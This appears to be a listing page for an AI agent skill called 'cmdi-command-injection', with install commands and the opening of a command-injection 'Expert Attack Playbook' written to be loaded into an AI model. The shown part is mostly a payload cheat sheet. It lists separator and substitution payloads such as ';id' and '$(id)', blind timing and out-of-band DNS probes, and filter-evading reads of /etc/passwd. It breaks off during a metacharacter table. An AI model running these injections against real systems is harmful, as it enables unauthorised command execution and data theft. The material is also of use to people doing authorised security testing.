cmdi-command-injection
Agent skill fromyaklang/hack-skills
Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
How to install cmdi-command-injection
install cmdi-command-injection
# install the hack-skills pack with the skills CLI
npx skills add yaklang/hack-skills# or add only this skill to Claude Code: copy the folder
skills/cmdi-command-injection/
# into
~/.claude/skills/cmdi-command-injection/ (all projects)
.claude/skills/cmdi-command-injection/ (one project)
1# SKILL: OS Command Injection — Expert Attack Playbook23> **AI LOAD INSTRUCTION**: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.45## 0. RELATED ROUTING67Before going deep, you can first load:89- [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow1011### First-pass payload families1213| Context | Start With | Backup |14|---|---|---|15| generic shell separator | `;id` | `&&id` |16| quoted argument | `";id;"` | `';id;'` |17| blind timing | `;sleep 5` | `& timeout /T 5 /NOBREAK` |18| command substitution | `$(id)` | `` `id` `` |19| out-of-band DNS | `;nslookup token.collab` | Windows `nslookup` variant |2021```text22cat$IFS/etc/passwd23{cat,/etc/passwd}24%0aid25```2627---2829## 1. SHELL METACHARACTERS (INJECTION OPERATORS)3031These characters break out of the command context and inject new commands:3233| Metacharacter | Behavior | Example |34|---|---|---|35| `;` | Runs second command regardless | `dir; whoami` |36| `\|` | Pipes stdout to second command | `dir \| whoami` |37| `\|\|` | Run second only if first FAILS | `dir \|\| whoami` |38| `&` | Run second in background (or sequenced in Windows) | `dir & whoami` |39| `&&` | Run second only if first SUCCEEDS | `dir && whoami` |40…
Excerpt shown under the repository's MIT license.
